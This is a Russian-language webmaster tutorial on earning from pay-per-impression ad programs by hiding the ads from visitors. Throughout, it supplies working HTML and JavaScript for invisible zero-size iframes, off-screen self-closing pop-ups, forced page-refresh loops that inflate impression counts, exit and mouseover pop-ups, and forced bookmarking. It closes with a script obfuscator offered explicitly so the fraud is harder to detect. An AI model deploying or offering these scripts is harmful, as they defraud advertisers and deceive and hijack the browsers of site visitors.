Итак, все мы хотим заработать денег, и сделать это можно с партнерками рекламодателей. Но вот не задача не всегда хотим показывать рекламу пользователям.
Ну тогда будем стараться ее скрыть, ну или сделать менее заметной.
Для этого находим партнерки с оплатой за показ а не клик, и смотрим далее. 1.Фреймы
1.1 Устанавливаем скрипт и при загрузке страницы вашего сайта загрузится страница с рекламой.
Используется метод фреймов. При этом все будет в одном окне и пользователь будет видеть только вашу страницу.
Code
<body style="margin:0px">
</iframe>
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"
src="http://www.ВАША_ССЫЛКА">
</iframe>
1.2 Загрузка страницы будет видна только в статусной строке. На ИЕ можно скрыть и это:
Code
<script language="JavaScript">
<!--
setInterval("x()",5);
function x(){window.status="Рады вас видеть"} //*Ваш текст*//
function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
function MM_findObj(n, d) { //v3.0
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}
function MM_jumpMenuGo(selName,targ,restore){ //v3.0
var selObj = MM_findObj(selName); if (selObj) MM_jumpMenu(targ,selObj,restore);
}
//-->
</script>
2. Устанавливая данный скрипт мы добиваемся того что открывается окно которое нельзя просмотреть.
Code
<script language="JavaScript">
<!--
browserVer = parseInt(navigator.appVersion);
HB=window.open('Ссылка на страницу с рекламой' ,'HBback','toolbar=1,location=1,status=1, top=3000,left=3000,menubar=1,scrollbars=1,resizable=1,width=500,height=300');
if( browserVer >= 4) {window.focus() ;
}setTimeout ("closewindow()", 9000);function closewindow(){HB.close();}
//-->
</script>
3. Установив данный скрипт мы добиваемся того что страница будет постоянно перезагружаться, а значит и засчитывать новые показы рекламы.
Code
<META HTTP-EQUIV="Refresh" CONTENT="30">
</HEAD>
<FRAMESET ROWS="1%" FRAMEBORDER="0" FRAMESPACING="0">
<FRAME SRC="страница где установлен этот фрейм.htm" NORESIZE>
</FRAMESET>
Не советую:
ставить обновление меньше 30сек
на страницу с добавлением материала
на форму ответа форума
Просто форму ответа на форуме ставим на отдельной станице, и не устанавливаем на них скрипт, вот и все. В противном случае пользователи не смогут ничего написать.
Весьма удобно, ведь можно написать что вы добиваетесь максимально быстро довести пользователю информацию из мини чата, материалов и форума. В реальности вам засчитывают показы. 4. Устанавливаем данный скрипт и добиваемся того что пользователю открывается страница с приветствием. Но через некоторое время загружается страница с рекламой:
Code
<head>
<script>
<!-- Beginning of JavaScript -
var popwindow
var popwindowwidth=200 //*Высота окна в пикселях*//
var popwindowheight=150 //*Ширина окна. в пикселях*//
var popwindowtop=20 //*Расстояние от верхнего края первичного окна*//
var popwindowURL="Страница с рекламой" //*Меняем на свое*//
var waitingtime=4 //*Время остановки окна. в секундах*//
var pause=20
var step=40
var popwindowleft=-popwindowwidth-50
var marginright
var pagecenter
var timer
waitingtime= waitingtime*1000
function showWindow() {
popwindow = window.open(popwindowURL, "popwindow", "toolbar=no,width="+popwindowwidth+",height="+popwindowheight+",top="+popwindowtop+",left="+(-popwindowwidth)+"");
if (document.all) {marginright = screen.width+50}
if (document.layers) {marginright = screen.width+50}
pagecenter=Math.floor(marginright/2)-Math.floor(popwindowwidth/2)
movewindow()}
function movewindow() {if (popwindowleft<=pagecenter) {popwindow.moveTo(popwindowleft,popwindowtop)
popwindowleft+=step
timer= setTimeout("movewindow()",pause)}
else {clearTimeout(timer)
timer= setTimeout("movewindow2()",waitingtime)}
}
function movewindow2() {
if (popwindowleft<=marginright) {
popwindow.moveTo(popwindowleft,popwindowtop)
popwindowleft+=step
timer= setTimeout("movewindow2()",pause)}
else {clearTimeout(timer)
popwindow.close() }
}
// -->
</script>
</head>
<body onLoad="showWindow()">
</BODY>
5.1 Можно немного сделать по другому.
А именно берем и ставим на страницу с рекламой вот такой скрипт:
Code
<body onresize="noresize()" onload="noresize()">
<script language="JavaScript"><!--
function noresize(){
self.resizeTo(10,10)}
// --></script>
Размер окна не возможно изменить, при растягивании он опять вернется в исходное положение.
5.2 Делаем страницу с рекламой, на которой в левом верхнем углу будет примерно вот такое изображение:
а сама страница в целом будет вот такая:
5.3 Устанавливаем скрипт обновления что описан в примере "3":
Code
<META HTTP-EQUIV="Refresh" CONTENT="30">
</HEAD>
<FRAMESET ROWS="1%" FRAMEBORDER="0" FRAMESPACING="0">
<FRAME SRC="страница где установлен этот фрейм.htm" NORESIZE>
</FRAMESET>
И устанавливаем обновление около 3-7сек. Чем добиваемся несколько показов перед тем как человек закроет страницу. И при попытке растянуть окно оно обновится и вернется к указанным размерам. 6. Собственно отдельный скрипт но будет весьма эффективно если указать ему адрес со сделанной станицей на которой реклама как описано выше. При выходе со странице открывается укаанное окно:
Code
<SCRIPT language=javascript>
exit=1;
function d2() {
if (exit==1) {
window.open("Ссылка на реклам.страницу");
};
};
</SCRIPT>
<BODY onunload=d2();>
Лучше всего установить этот скрипт в верхний блок вашего сайта (актуально для укоз), она же шапка. Почему? Ну обычно этот же блок сохраняется и на форуме, а значит при переходах между страницами пользователю не будет грузиться страница. И только при уходе она загрузится. 7. Стандартный скрипт открытия окна:
Code
<SCRIPT LANGUAGE="JavaScript">
<!-- hiding
var remoteWin = null;
var popup_url = "http://ВАША_ССЫЛКА";
if (self.parent.frames.length == 0){
self.name="preview";
}
function popup_hp_ad() {
remoteWin = window.open(popup_url, "ad_popup", "toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=640,height=130");
}
popup_hp_ad();
// End of hiding -->
</SCRIPT>
Но приспособив его с описанными выше получится весь неплохой результат. 8. Вставляем такой скрипт:
Code
<A HREF="javascript:"
onMouseOver="SB1 = window.open('http://www.ВАША_ССЫЛКА','SB1','width=250,height=250'); return true;"
onMouseOut=" SB1.window.close(); return true;">ТЕКСТ ССЫЛКИ</A>
и получите результат того что окно будет открыто с ссылки. 9. Человек наводит мышку на ссылку и аля рекламная страница:
Code
<a href="любой текст" TARGET="_self" onMouseOver="parent.lo cation='URL баннера'" target="_self"><font size="3">Текст ссылки</font></a>
10. Не забываем добавиться в избранное.
Code
При входе:
<body onload='window.external.AddFavorite(location.href, document.title);return true'>
При выходе:
<body unload='window.external.AddFavorite(location.href, document.title);return true'>
ну или ссылочка:
<font size="6"<strong><u onclick='window.external.AddFavorite(location.href, document.title);return true' style=color:red style=cursor:e-resize >Добавь в избранное.</u></strong> </font>
9. Что бы вас сложнее было уличить в накрутке, кодируем скрипты кодером.
Вот скриптик кодера:
Code
<html><head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
</head><body><p align="center"><b>Кодировщик <br>
<br>
<font color="#ff0000">ВНИМАНИЕ!</font>
</b></p><p align="center"><b><i><font color="#0000ff">Советуем вам
сохранить кодируемую страничку под другим
именем прежде чем кодировать.
Раскодировать ее потом будет практически
невозможно, и соответственно вы не сможете
в случае необходимости редактировать ее. Но
лучше все таки кодировать не всю страницу,а
только неоходимую информацию.</font></i></b><br>
<table border="0">
<tbody><tr><td><form name="conv_form">
<textarea style="" name="src_text" cols="35" rows="10" wrap="VIRTUAL">Вставьте сюда любой текст (или файл-HTML), который нужно закодировать</textarea></form></td>
<td><textarea style="" name="dest_text" cols="35" rows="10" wrap="virtual">А здесь появится результат, который нужно записать в файл с расширением html (или htm) и загрузить в браузере.
Если вы кодируете скрипт, то вставьте результат как HTML-код.</textarea></td>
</tr>
</tbody></table>
</p><center>
<input style="background-color: rgb(0, 128, 128); background-repeat: repeat; background-attachment: scroll; color: rgb(255, 255, 255); font-style: normal; font-variant: normal; font-weight: normal; background-position: 0% 50%;" value=" Справка " type="reset">
<input style="background-color: rgb(0, 128, 128); background-repeat: repeat; background-attachment: scroll; color: rgb(255, 255, 255); font-style: normal; font-variant: normal; font-weight: normal; background-position: 0% 50%;" value="Кодируем!" onclick="Code();return 0;" type="button">
<input style="background-color: rgb(0, 128, 128); background-repeat: repeat; background-attachment: scroll; color: rgb(255, 255, 255); font-style: normal; font-variant: normal; font-weight: normal; background-position: 0% 50%;" value=" Очистить" onclick="ClearForm();return 0;" type="button">
</center>
<script language="JavaScript">
<!--
function ClearForm()
{
document.conv_form.dest_text.value="";
document.conv_form.src_text.value="";
}
function Code()
{
var temp="",i,l,c=0,out="";
var str=document.conv_form.src_text.value;
l=0;
if(str=="")return;
while(l<=str.length-1)
{
out=out+str.charCodeAt(l)+'!';
l++;
}
document.conv_form.dest_text.value="<SCRIPT LANGUAGE=\"JavaScript\">\n<!--\nfunction Decode(){var temp=\"\",i,c=0,out=\"\";var str=\""+out+"\";l=str.length;while(c<=str.length-1){while(str.charAt(c)!=\'!\')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp=\"\";}document.write(out);}\n//-->\n<\/SCRIPT><SCRIPT LANGUAGE=\"JavaScript\">\n<!--\nDecode();\n//-->\n<\/SCRIPT>";
}
//-->
</script>
</body></html>
Так что на страницу можно напихать кучу рекламы. Не забывайте что теперь укоз построен на блоковой системе и можно это использовать весьма эффективно.